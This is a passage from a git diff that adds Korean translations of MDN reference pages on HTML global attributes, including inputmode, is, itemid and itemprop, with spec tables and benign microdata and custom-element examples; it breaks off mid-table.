+ <dd>요소에 적용할 <a href="/ko/docs/Web/CSS">CSS</a> 스타일 선언을 담습니다. 단, 스타일은 별도 파일에 정의하는 것이 추천하는 방식임을 유의하세요. 이 특성과 {{HTMLElement("style")}} 요소는 테스트 등을 위한 빠른 스타일링이 주 용도입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/tabindex">{{htmlattrdef("tabindex")}}</a></dt>
+ <dd>An integer attribute indicating if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:
+ <ul>
+  <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
+  <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
+  <li>a <em>positive value</em> means that the element should be focusable and reachable via sequential keyboard navigation; the order in which the elements are focused is the increasing value of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative positions in the document.</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/title">{{htmlattrdef("title")}}</a></dt>
+ <dd>요소에 대한 추가 정보를 제공하는 텍스트입니다. 사용자에게는 보통 툴팁으로서 보여집니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/translate">{{htmlattrdef("translate")}}</a> {{experimental_inline}}</dt>
+ <dd>페이지를 지역화할 때 요소의 {{domxref("Text")}} 노드 자식 및 번역 가능한 특성의 값을 번역해야 되는지, 아니면 그대로 유지해야 하는지 나타냅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shadow Parts", "#exposing")}}</td>
+   <td>{{Spec2("CSS Shadow Parts")}}</td>
+   <td>Added the <code>part</code> and <code>exportparts</code> global attributes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML5.1")}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML5 W3C")}}, <code>contextmenu</code>, <code>draggable</code>, <code>dropzone</code>, and <code>spellcheck</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br>
+    <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br>
+    <code>hidden</code>, <code>data-*</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br>
+    <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+    <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+    <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+    <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+    <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
+    <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br>
+    <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>대부분의 전역 특성에 접근할 수 있는 {{domxref("Element")}}와 {{domxref("GlobalEventHandlers")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/inputmode/index.html b/files/ko/web/html/global_attributes/inputmode/index.html
new file mode 100644
index 0000000000..9f33550c8f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/inputmode/index.html
@@ -0,0 +1,64 @@
+---
+title: inputmode
+slug: Web/HTML/Global_attributes/inputmode
+tags:
+  - Attribute
+  - Global attributes
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Global_attributes/inputmode
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>inputmode</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 요소나 요소의 콘텐츠를 편집할 때 입력할 수 있는 데이터 유형의 힌트를 제공하는 열거형 특성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>가상 키보드를 사용하지 않습니다. 페이지가 자체 키보드나 입력 컨트롤을 구현할 때 사용합니다.</dd>
+ <dt><code>text</code> (기본값)</dt>
+ <dd>사용자의 현재 로케일에 맞는 표준 키보드를 제공합니다.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>사용자의 로케일에 맞는 소숫점(보통 <kbd>,</kbd> 또는 <kbd>.</kbd>)을 제공하는 숫자형 키보드를 제공합니다. 장치에 따라 음의 부호(<kbd>-</kbd>)는 제공할 수도, 제공하지 않을 수도 있습니다.</dd>
+ <dt><code>numeric</code></dt>
+ <dd>숫자형 키보드를 제공합니다. 소숫점은 없으며, 음의 부호는 제공할 수도, 제공하지 않을 수도 있습니다.</dd>
+ <dt><code>tel</code></dt>
+ <dd>전화번호 키보드를 제공합니다. 숫자 0~9, 별표(<kbd>*</kbd>), 해시(샵, <kbd>#</kbd>) 키를 포함합니다. 일반적인 경우, 반드시 전화번호를 필요로 하는 입력 칸에는 <code>{{htmlelement("input/tel", '&lt;input type="tel"&gt;')}}</code>을 사용해야 합니다.</dd>
+ <dt><code>search</code></dt>
+ <dd>검색 입력 칸에 최적화한 가상 키보드를 제공합니다. 예를 들면, 엔터/제출 키가 "검색" 아이콘이나 레이블을 가질 수 있습니다. 일반적인 경우, 반드시 검색 질의를 필요로 하는 입력 칸에는 <code>{{HTMLElement("input/search", '&lt;input type="search"&gt;')}}</code>를 사용해야 합니다.</dd>
+ <dt><code>email</code></dt>
+ <dd>이메일 입력에 최적화한 가상 키보드를 제공합니다. 보통 <kbd>@</kbd> 키 등을 제공합니다. 일반적인 경우, 반드시 이메일을 필요로 하는 입력 칸에는 <code>{{htmlelement("input/email", '&lt;input type="email"&gt;')}}</code>을 사용해야 합니다.</dd>
+ <dt><code>url</code></dt>
+ <dd>{{glossary("URL")}} 입력에 최적화한 가상 키보드를 제공합니다. 보통 <kbd>/</kbd> 키를 누르기 편한 곳에 배치하며, 세션 히스토리 접근 기능 등을 추가하기도 합니다. 일반적인 경우, 반드시 URL을 필요로 하는 입력 칸에는 <code>inputmode</code> 대신 <code>{{htmlelement("input/url", '&lt;input type="url"&gt;')}}</code>을 사용해야 합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.inputmode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/is/index.html b/files/ko/web/html/global_attributes/is/index.html
new file mode 100644
index 0000000000..99e72adade
--- /dev/null
+++ b/files/ko/web/html/global_attributes/is/index.html
@@ -0,0 +1,64 @@
+---
+title: is
+slug: Web/HTML/Global_attributes/is
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/is
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>is</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 표준 HTML 요소가 사용자 지정 요소처럼 행동하도록 지정합니다. <a href="/ko/docs/Web/Web_Components/Using_custom_elements">사용자 지정 요소 사용하기</a>를 방문해 더 자세한 정보를 알아보세요.</p>
+
+<p>이 특성은 주어진 사용자 지정 요소의 이름을 현재 문서에 성공적으로 <a href="/ko/docs/Web/API/CustomElementRegistry/define">정의</a>했고, <code>is</code> 특성을 적용하려는 요소를 확장하는 경우에만 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> 예제에서 발췌한 것입니다. (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">실제 동작 보기</a>)</p>
+
+<pre class="brush: js notranslate">// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // Constructor contents ommitted for brevity
+    ...
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">p</span> <span class="pl-e">is</span>=<span class="pl-s"><span class="pl-pds">"</span>word-count<span class="pl-pds">"</span></span>&gt;&lt;/<span class="pl-ent">p</span>&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.is")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemid/index.html b/files/ko/web/html/global_attributes/itemid/index.html
new file mode 100644
index 0000000000..1253ac90b7
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemid/index.html
@@ -0,0 +1,105 @@
+---
+title: itemid
+slug: Web/HTML/Global_attributes/itemid
+tags:
+  - Global attribute
+  - HTML
+  - HTML Microdata
+  - Microdata
+  - Reference
+  - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemid
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemid</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 아이템의 고유한 전역 식별자의 형태로 마이크로데이터를 제공합니다. <code>itemid</code> 특성은 {{htmlattrxref("itemscope")}}, {{htmlattrxref("itemtype")}} 특성 모두 가진 요소에만 지정할 수 있습니다. 또한 <code>itemscope</code> 특성에 대응하는 <code>itemtype</code>이 전역 식별자 어휘를 참조하거나 정의해야 합니다.</p>
+
+<p><code>itemtype</code>의 전역 식별자에 대한 정확한 의미는 지정한 어휘 내에서의 해당 식별자 정의가 제공합니다. 어휘는 동일한 전역 식별자를 가지는 여러 아이템이 공존할 수 있는지, 공존한다면 동일한 식별자를 가진 아이템을 어떻게 처리할 것인지를 정의합니다.</p>
+
+<p class="note"><strong>참고:</strong> {{glossary("WHATWG")}} 명세는 <code>itemid</code>가 반드시 {{glossary("URL")}}이어야 한다고 되어 있습니다. 하지만, 다음 예제에서는 {{glossary("URN")}} 역시 사용 가능하다는 것을 명확히 보여주고 있습니다. 이런 불일치는 마이크로데이터 명세의 불완전성을 반영한다고 볼 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8"&gt;
+&lt;dt&gt;Title &lt;dd itemprop="title"&gt;The Reality Dysfunction
+&lt;dt&gt;Author &lt;dd itemprop="author"&gt;Peter F. Hamilton
+&lt;dt&gt;Publication date
+&lt;dd&gt;&lt;time itemprop="pubdate" datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt; &lt;/dl&gt;</pre>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype: itemid</td>
+   <td colspan="2" rowspan="1">
+    <div class="jyrRxf-eEDwDf jcd3Mb IZ65Hb-hUbt4d">http://vocab.example.net/book: urn:isbn:0-330-34032-8</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>title</td>
+   <td>The Reality Dysfunction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>author</td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb">Peter F. Hamilton</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>pubdate</td>
+   <td>1996-01-26</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemid")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성:
+  <ul>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemprop/index.html b/files/ko/web/html/global_attributes/itemprop/index.html
new file mode 100644
index 0000000000..5cb1a45e45
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemprop/index.html
@@ -0,0 +1,472 @@
+---
+title: itemprop
+slug: Web/HTML/Global_attributes/itemprop
+tags:
+  - Attribute
+  - Global attribute
+  - HTML
+  - HTML Microdata
+  - Microdata
+  - Reference
+  - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemprop
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemprop</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 아이템에 속성을 추가할 때 사용합니다. 모든 요소는 <code>itemprop</code> 특성을 가질 수 있으며, 하나의 <code>itemprop</code>은 키-값 쌍으로 구성됩니다. 각각의 키-값 쌍은 <strong>속성</strong>이라고 부르고, 하나 이상의 속성으로 구성한 그룹을 <strong>아이템</strong>이라고 부릅니다. 속성의 값으로는 문자열이나 {{glossary("URL")}}을 사용할 수 있고, {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}}, {{HTMLElement("video")}} 등 다양한 요소와 연관지을 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 일련의 요소에 <code>itemprop</code> 특성을 표기한 소스 코드와, 그 결과인 구조화된 데이터를 나타내는 표를 보입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope itemtype ="http://schema.org/Movie"&gt;
+  &lt;h1 <strong>itemprop="name"</strong>&gt;Avatar&lt;/h1&gt;
+  &lt;span&gt;Director:
+    &lt;span <strong>itemprop="director"</strong>&gt;James Cameron&lt;/span&gt;
+    (born August 16, 1954)&lt;/span&gt;
+  &lt;span <strong>itemprop="genre"</strong>&gt;Science fiction&lt;/span&gt;
+  &lt;a href="../movies/avatar-theatrical-trailer.html"
+    <strong>itemprop="trailer"</strong>&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"></td>
+   <th colspan="2" rowspan="1"><strong>Item</strong></th>
+  </tr>
+  <tr>
+   <th><strong>itemprop name</strong></th>
+   <th><strong>itemprop value</strong></th>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Avatar</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>director</td>
+   <td>James Cameron</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>genre</td>
+   <td>Science fiction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>trailer</td>
+   <td>../movies/avatar-theatrical-trailer.html</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>속성은 문자열이나 {{glossary("URL")}}을 값으로 가질 수 있습니다. 문자열 값으로 URL을 지정할 경우 {{htmlelement("a")}}와 {{htmlattrxref("href", "a")}} 특성, {{htmlelement("img")}} 요소와 {{htmlelement("src", "img")}} 특성, 또는 그 외의 외부 리소스를 연결하는 기타 요소를 사용해 표현합니다.</p>
+
+<h3 id="문자열을_값으로_갖는_세_개의_속성">문자열을 값으로 갖는 세 개의 속성</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;My name is
+   &lt;span itemprop="name"&gt;Neil&lt;/span&gt;.&lt;/p&gt;
+ &lt;p&gt;My band is called
+   &lt;span itemprop="band"&gt;Four Parts Water&lt;/span&gt;.&lt;/p&gt;
+ &lt;p&gt;I am
+   &lt;span itemprop="nationality"&gt;British&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="값이_URL인_image_속성">값이 URL인 "image" 속성</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;img itemprop="image"
+   src="google-logo.png" alt="Google"&gt;
+&lt;/div&gt;</pre>
+
+<p>숫자와 문자로 구성된 긴 문자열처럼 사람이 쉽게 읽고 이해할 수 없는 문자열이 값일 경우, {{htmlelement("data")}} 요소의 {{htmlattrxref("value", "data")}} 특성 값을 사용해 나타내고, 사람이 보다 쉽게 읽을 수 있도록 표현한 문자열을 <code>&lt;data&gt;</code>의 콘텐츠로 지정할 수 있습니다. (<code>&lt;data&gt;</code> 콘텐츠는 구조화된 데이터의 일부가 아닙니다. 아래 예제를 참고하세요.)</p>
+
+<h3 id="값이_상품_ID인_속성을_가진_아이템">값이 상품 ID인 속성을 가진 아이템</h3>
+
+<p>ID가 사람에게 친화적인 형태가 아니므로, 사람이 읽을 수 있는 텍스트로는 ID 대신 상품 ID를 사용합니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1 itemscope&gt;
+ &lt;data itemprop="product-id"
+   value="9678AOU879"&gt;The Instigator 2000&lt;/data&gt;
+&lt;/h1&gt;</pre>
+
+<p>숫자 값으로는 {{htmlelement("meter")}} 요소와 그 {{htmlattrxref("value", "meter")}} 특성을 대신 사용할 수 있습니다.</p>
+
+<h3 id="&lt;meter>_요소"><code>&lt;meter&gt;</code> 요소</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope itemtype="http://schema.org/Product"&gt;
+ &lt;span itemprop="name"&gt;Panasonic White
+   60L Refrigerator&lt;/span&gt;
+ &lt;img src="panasonic-fridge-60l-white.jpg" alt=""&gt;
+  &lt;div itemprop="aggregateRating"
+       itemscope
+       itemtype="http://schema.org/AggregateRating"&gt;
+   &lt;meter itemprop="ratingValue"
+     min=0 value=3.5 max=5&gt;Rated 3.5/5&lt;/meter&gt;
+   (based on &lt;span
+     itemprop="reviewCount"&gt;11&lt;/span&gt;
+     customer reviews)
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>비슷하게, 날짜와 시간 관련 데이터는 {{htmlelement("time")}}과 그 {{htmlattrxref("datetime", "time")}} 특성을 사용할 수 있습니다.</p>
+
+<h3 id="날짜_값인_생년월일_속성을_가지는_아이템">날짜 값인 생년월일 속성을 가지는 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ I was born on &lt;time
+   itemprop="birthday"
+   datetime="2009-05-10"&gt;May 10th 2009&lt;/time&gt;.
+&lt;/div&gt;</pre>
+
+<p>속성을 선언하는 요소에 <code>itemscope</code> 특성을 지정해, 이름-값 쌍의 그룹으로 만들 수도 있습니다. 각 값은 문자열이거나, 이름-값 쌍 그룹(즉, 아이템)이어야 합니다.</p>
+
+<h3 id="사람을_나타내는_바깥쪽_아이템과_밴드를_나타내는_안쪽_아이템">사람을 나타내는 바깥쪽 아이템과 밴드를 나타내는 안쪽 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;Name:
+   &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;Band:
+   &lt;span itemprop="band" itemscope&gt;
+     &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;
+     (&lt;span itemprop="size"&gt;12&lt;/span&gt;
+     players)&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>위의 코드에서 바깥쪽 아이템은 <code>name</code>과 <code>band</code> 두 개의 속성을 가지고 있습니다. <code>name</code>은 <code>Amanda</code>이고 <code>band</code>는 그 자체로 <code>name</code>과 <code>size</code>라는 두 가지 속성을 가진 아이템입니다. 밴드의 <code>name</code>은 <code>Jazz Band</code>이고, <code>size</code>는 <code>12</code>입니다. 이 예제에서, 바깥쪽 아이템은 최상위 마이크로데이터 아이템입니다. 다른 아이템의 일부가 아닌 아이템을 최상위 마이크로데이터 아이템이라고 합니다.</p>
+
+<h3 id="모든_속성이_아이템에서_분리된_경우">모든 속성이 아이템에서 분리된 경우</h3>
+
+<p>이 예제는 앞의 예제와 동일하지만 모든 속성이 아이템에서 분리되어 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name:
+  &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;&lt;/p&gt;
+&lt;div id="b"
+  itemprop="band"
+  itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+ &lt;p&gt;Band:
+   &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;Size:
+   &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>이 예제의 결과는 이전 예제와 동일합니다. 첫 번째 아이템은 두 가지 속성을 가지고 있는데, "name"은 "Amanda"로 설정했고, "band"는 다른 아이템으로 연결되어 있습니다. "band"가 가리킨 아이템은 또 다시 두 가지 속성을 가지고 있는데, "name"은 "Jazz Band"이고, "size"는 "12"입니다.</p>
+
+<p>아이템은 같은 이름을 가지나 서로 다른 값을 갖는 다수의 속성을 가질 수 있습니다.</p>
+
+<h3 id="두_가지_맛의_아이스크림">두 가지 맛의 아이스크림</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;Flavors in my favorite ice cream:&lt;/p&gt;
+ &lt;ul&gt;
+  &lt;li itemprop="flavor"&gt;Lemon sorbet&lt;/li&gt;
+  &lt;li itemprop="flavor"&gt;Apricot sorbet&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>이 예제는 두 가지 프로퍼티를 가지고 있는 아이템을 보여주고 있는데, 두 프로퍼티 모두 "flavor"라는 이름을 가지고 "Lemon sorbet"와 "Apricot sorbet"라는 값을 각각 가지고 있습니다.</p>
+
+<p>어떤 속성을 가진 요소는 프로퍼티 중 일부가 동일한 값을 가질 때 중복을 피하기 위해 한 번에 여러 프로퍼티를 가질 수도있습니다(An element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value).</p>
+
+<h3 id="값이_모두_orange인_favorit-color와_favorite-fruit_두_프로퍼티를_가진_아이템">값이 모두 "orange"인 "favorit-color"와 "favorite-fruit" 두 프로퍼티를 가진 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;span
+  itemprop="favorite-color
+    favorite-fruit"&gt;orange&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p>참고: 마이크로 데이터와 마이크로 데이터가 표시된 문서의 컨텐츠 사이에는 아무런 연관관계가 없습니다.</p>
+</div>
+
+<h3 id="구조화된_데이터를_두_가지_다른_방식으로_표시하기">구조화된 데이터를 두 가지 다른 방식으로 표시하기</h3>
+
+<p id="There_is_no_semantic_difference_between_the_following_two_examples">다음의 두 예제는 의미상 차이는 없습니다.</p>
+
+<pre class="brush: html notranslate">&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;&lt;span
+   itemscope&gt;&lt;span
+   itemprop="name"&gt;The Castle&lt;/span&gt;&lt;/span&gt;
+     (1986)&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;span itemscope&gt;&lt;meta
+  itemprop="name"
+  content="The Castle"&gt;&lt;/span&gt;
+&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;The Castle
+  (1986)&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>두 예제 모두 caption을 가지고 있으며 figure와 전혀 관계가 없고 "name" 이라는 이름과 "The Castle"이라는 값의 쌍을 가진 아이템을 가지고 있습니다. 단 한 가지 차이는 사용자가 문서의 바깥쪽으로 figcaption을 드래그하면 drag-and-drop 데이터에 그 아이템이 포함된다는 점입니다다. 그 아이템과 연관된 이미지는 포함되지 않습니다.</p>
+
+<h2 id="이름과_값">이름과 값</h2>
+
+<p>프로퍼티는 고유한 토큰으로 이루어진 순서가 없는(unordered) 집합으로 대소문자를 구분하고 이름-값의 쌍을 나타냅니다. 프로퍼티 값은 하나 이상의 토큰을 가지고 있어야 합니다. 다음의 예제에서 각 데이터 셀이 토큰입니다.</p>
+
+<h3 id="이름_예제">이름 예제</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="1" rowspan="2" scope="col"></th>
+   <th colspan="2" rowspan="1" scope="col">Item</th>
+  </tr>
+  <tr>
+   <th scope="col">itemprop <strong>name</strong></th>
+   <th scope="col">itemprop <strong>value</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>itemprop</th>
+   <td>country</td>
+   <td>Ireland</td>
+  </tr>
+  <tr>
+   <th>itemprop</th>
+   <td>Option</td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th>itemprop</th>
+   <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
